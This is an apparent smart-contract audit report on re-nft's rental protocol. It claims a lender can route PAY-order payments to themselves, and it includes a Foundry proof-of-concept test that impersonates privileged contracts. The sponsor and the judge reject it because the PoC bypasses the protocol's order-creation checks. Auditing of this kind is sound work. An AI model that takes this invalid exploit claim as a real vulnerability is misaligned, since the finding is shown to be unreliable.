Malicious Lender can create a PAY order that does not settle to the renter

[c4-bot-2]

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L247-L314

Vulnerability details

Impact

Malicious lender can craft a PAY order to ensure the funds are not settle to the renter when the rent is stopped.

VULNERABILITY DETAILS

I found this almost at the end of the audit and as such did no have enough time to write a more detailed report, however the POC provided below proves my finding

• Alice create malicious rental items with settleTo set to LENDER and orderType set to PAY
• payment is settled and Alice receives payment instead of Bob the renter

CODED POC

function test_Success_SettlePayment_PayOrder_NotEnded() public {
        // determine an amount of tokens to mint
        uint256 amount = 300;

        // determine a rent duration
        uint rentDuration = 13 days;

        // mint tokens to the payment escrow
        erc20s[0].mint(address(ESCRW), amount);

        // impersonate an address with permissions
        vm.prank(address(create));

        // increase the deposit
        ESCRW.increaseDeposit(address(erc20s[0]), amount);

        // Alice create maliciois rental items
        Item[] memory items = new Item[](1);
        items[0] = Item({
            itemType: ItemType.ERC20,
            settleTo: SettleTo.LENDER,
            token: address(erc20s[0]),
            amount: 100,
            identifier: 0
        });

        // Alice user a rental order
        RentalOrder memory rentalOrder1 = RentalOrder({
            seaportOrderHash: keccak256(abi.encode("someSeaportOrderHash")),
            items: items,
            hooks: new Hook[](0),
            orderType: OrderType.PAY,
            lender: alice.addr,
            renter: bob.addr,
            rentalWallet: address(bob.safe),
            startTimestamp: block.timestamp,
            endTimestamp: block.timestamp + rentDuration
        });

        vm.warp(block.timestamp + rentDuration);
        emit log_named_uint("Escrows Balance before settlement", erc20s[0].balanceOf(address(ESCRW)));

        // impersonate an address with permissions
        vm.startPrank(address(stop));

        // settle the payment
        // @audit payment is settled to alice for the rental order
        ESCRW.settlePayment(rentalOrder1);

        vm.stopPrank();

        // assert funds are no longer the escrow
        assertEq(erc20s[0].balanceOf(address(ESCRW)), 200);
        emit log_named_uint("Escrows Balance after settlement", erc20s[0].balanceOf(address(ESCRW)));

        // assert the payment was synced
        assertEq(ESCRW.balanceOf(address(erc20s[0])), 200);
        emit log_named_uint("Balance of erc20 in Escrows after settlement", ESCRW.balanceOf(address(erc20s[0])));

        // assert the renter address received the pro-rata payment
        assertEq(erc20s[0].balanceOf(bob.addr), 10000);
        emit log_named_uint("Bob's balance after settlement", erc20s[0].balanceOf(bob.addr));

        // assert the lender address received the pro-rata payment
        assertEq(erc20s[0].balanceOf(alice.addr), 10100);
        emit log_named_uint("Alice's balance after settlement", erc20s[0].balanceOf(alice.addr));
    }

TOOLS USED

Foundry

RECOMMENDATION

Implement a logic to ensure that the payment can only be settled to the renter for a PAY order.

Assessed type

Invalid Validation

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[141345]

settleTo set to LENDER malicious PAY order

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-sponsor]

Alec1017 (sponsor) disputed

[Alec1017]

This PoC doesnt generate a valid order through the protocol, it uses partial testing functions that bypass the checks that occur in the protocol which would prevent this scenario

[0xean]

Agree with sponsor the POC seems invalid and doesn't follow the expected user flow for generating a order.

[c4-judge]

0xean marked the issue as unsatisfactory: Invalid